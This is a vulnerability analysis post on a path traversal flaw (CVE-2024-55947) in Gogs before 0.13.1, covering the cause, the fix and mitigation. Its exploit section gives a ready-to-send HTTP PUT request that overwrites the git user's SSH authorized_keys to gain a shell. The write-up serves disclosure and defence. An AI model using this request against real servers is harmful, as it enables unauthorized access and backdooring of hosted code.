Gogs Path Traversal: How ../../../ Gave Hackers the Keys to the Castle
Jan 15, 2026·6 min read
Executive Summary (TL;DR)
Gogs versions prior to 0.13.1 failed to sanitize file paths in the API and web editor. Authenticated attackers with write access to a repository can use directory traversal characters (`../`) to break out of the repo directory. By overwriting `~/.ssh/authorized_keys`, attackers can grant themselves SSH access to the server, resulting in full RCE.
A critical path traversal vulnerability in Gogs allows authenticated users to escape the repository sandbox and overwrite arbitrary files on the host system. This flaw typically leads to immediate Remote Code Execution (RCE) by overwriting the git user's SSH authorized_keys file.
The Hook: The Illusion of Self-Hosted Security
There is a certain irony in self-hosting your code. You do it to keep your intellectual property safe from the prying eyes of big tech, or perhaps to avoid the subscription fees of enterprise GitHub. You spin up a Gogs instance—lightweight, written in Go, seemingly robust. You think you've built a fortress. But in reality, you might have just built a tunnel directly into your server's filesystem.
CVE-2024-55947 is not some complex heap-spraying wizardry that requires a PhD in memory management to pull off. It is a classic, almost nostalgic, directory traversal bug. It’s the kind of vulnerability that security textbooks warn about on page one, yet it managed to hide in plain sight within Gogs' repository management API.
The premise is simple: Gogs lets you manage files in your repository. It takes a file path from you, the user, and writes data to that path on the disk. The problem? It didn't care where that path went. And when the application running the show has write access to its own SSH configuration, that apathy becomes fatal.
The Flaw: Trusting the Wildcard
The root cause of this disaster lies in a fundamental misunderstanding of input trust. In modern web frameworks, we often use wildcards to capture the remainder of a URL path. In the Gogs codebase, the API endpoint for updating file content looked something like PUT /api/v1/repos/{owner}/{repo}/contents/{path}.
To handle deeply nested files (like src/main/utils/helper.go), the router needs to capture everything after /contents/. Gogs used c.Params("*") to grab this raw string. This is where the logic gap occurred. The developers assumed treePath would represent a file inside the repository structure. They treated it as a logical path, not a filesystem directive.
However, the filesystem doesn't care about your logical intentions. If you hand the underlying OS syscalls a string like ../../../../etc/passwd, it will happily try to resolve it relative to the current working directory. By failing to normalize or "clean" this path before using it in file I/O operations, Gogs essentially handed the caller a primitive filesystem driver. If you can write to repo/file.txt, and you change the path to repo/../../file.txt, you aren't writing to the repo anymore—you're writing to the server root.
The Code: The Smoking Gun
Let's look at the anatomy of the failure. In the vulnerable versions (pre-0.13.1), the code in internal/route/api/v1/repo/contents.go grabbed the path and passed it straight to the file writer. It was roughly equivalent to this:
// The Vulnerable Way
treePath := c.Params("*")
// ... later ...
err := repo.UpdateFile(treePath, content)There was no boundary check. The fix, implemented in version 0.13.1, introduces a sanitation layer that feels like it should have been there since day one. They introduced pathutil.Clean, which anchors the path to a virtual root.
Here is the diff that saved the day (Commit 9a9388ace25bd646f5098cb9193d983332c34e41):
// internal/pathutil/pathutil.go
// Clean cleans up given path and returns a relative path that goes straight
// down to prevent path traversal.
func Clean(p string) string {
p = strings.ReplaceAll(p, `\`, "/")
// The magic happens here: path.Clean("/" + p) resolves the dots
// relative to root, preventing escape.
return strings.Trim(path.Clean("/"+p), "/")
}By forcing the path to start with / before cleaning it, Go's standard library resolves ../../etc to just /etc. Then, by stripping the leading slash, they ensure the resulting path is relative to the intended directory, neutralizing the traversal.
The Exploit: From API to RCE
Now for the fun part: turning a file write into a shell. Gogs usually runs as a dedicated user, often named git. This user needs a home directory, and to support SSH cloning, it usually has an ~/.ssh/authorized_keys file.
If we can overwrite that file, we win. Here is how an attacker creates a backdoor:
- Recon: The attacker authenticates and finds a repository they can write to (or creates one).
- Payload Construction: They generate a new SSH keypair locally (
ssh-keygen). - The Strike: They send a
PUTrequest to the Gogs API. instead of updatingREADME.md, they update../../../../home/git/.ssh/authorized_keys.
The payload looks like this:
PUT /api/v1/repos/attacker/pwn-repo/contents/../../../../home/git/.ssh/authorized_keys HTTP/1.1
Host: gogs.target.local
Authorization: token <user_token>
Content-Type: application/json
{
"content": "c3NoLXJzYSAAAA... (Base64 of attacker's public key) ...",
"message": "Oops, I dropped my keys",
"branch": "master"
}- The Prestige: The server writes the attacker's public key into the
gituser's authorized keys file. The attacker then simply typesssh git@gogs.target.localand drops into a shell. No memory corruption, no ROP chains, just bad path handling.
The Impact: Total Compromise
The impact here is catastrophic for the host server. We are talking about CVSS 8.8, but functionally, it's a 10.0 if you are the admin. Once the attacker has SSH access as the git user, they can:
- Modify Code: Backdoor any repository hosted on the instance.
- Steal Secrets: Access config files (app.ini) containing database credentials and secret keys.
- Pivot: Use the compromised server to launch attacks on the internal network.
What makes this particularly spicy is that Gogs is often used in internal networks or by development teams who assume that "authenticated" means "trusted." This vulnerability turns every developer with write access into a potential sysadmin.
The Mitigation: Stop the Bleeding
If you are running Gogs, check your version immediately. If it's below 0.13.1, you are vulnerable. The primary fix is to upgrade. The patch is robust because it standardizes how paths are handled across the entire application, not just in one API endpoint.
[!NOTE] While patching is the solution, defense-in-depth is the lesson. Why does your
gituser have permission to overwrite its ownauthorized_keysvia the web application context? Consider file permission hardening or using read-only filesystems for configuration where possible.
Also, check your authorized_keys file. If you see keys you don't recognize, or if the file timestamp matches a suspicious web request log, assume compromise and trigger your incident response plan.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
Gogs Gogs | < 0.13.1 | 0.13.1 |
| Attribute | Detail |
|---|---|
| CWE | CWE-22 (Path Traversal) |
| CVSS v3.1 | 8.8 (Critical) |
| Attack Vector | Network (Authenticated) |
| Impact | Remote Code Execution (RCE) via File Write |
| Fixed Version | 0.13.1 |
| EPSS Score | 1.60% (High Percentile) |
MITRE ATT&CK Mapping
The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.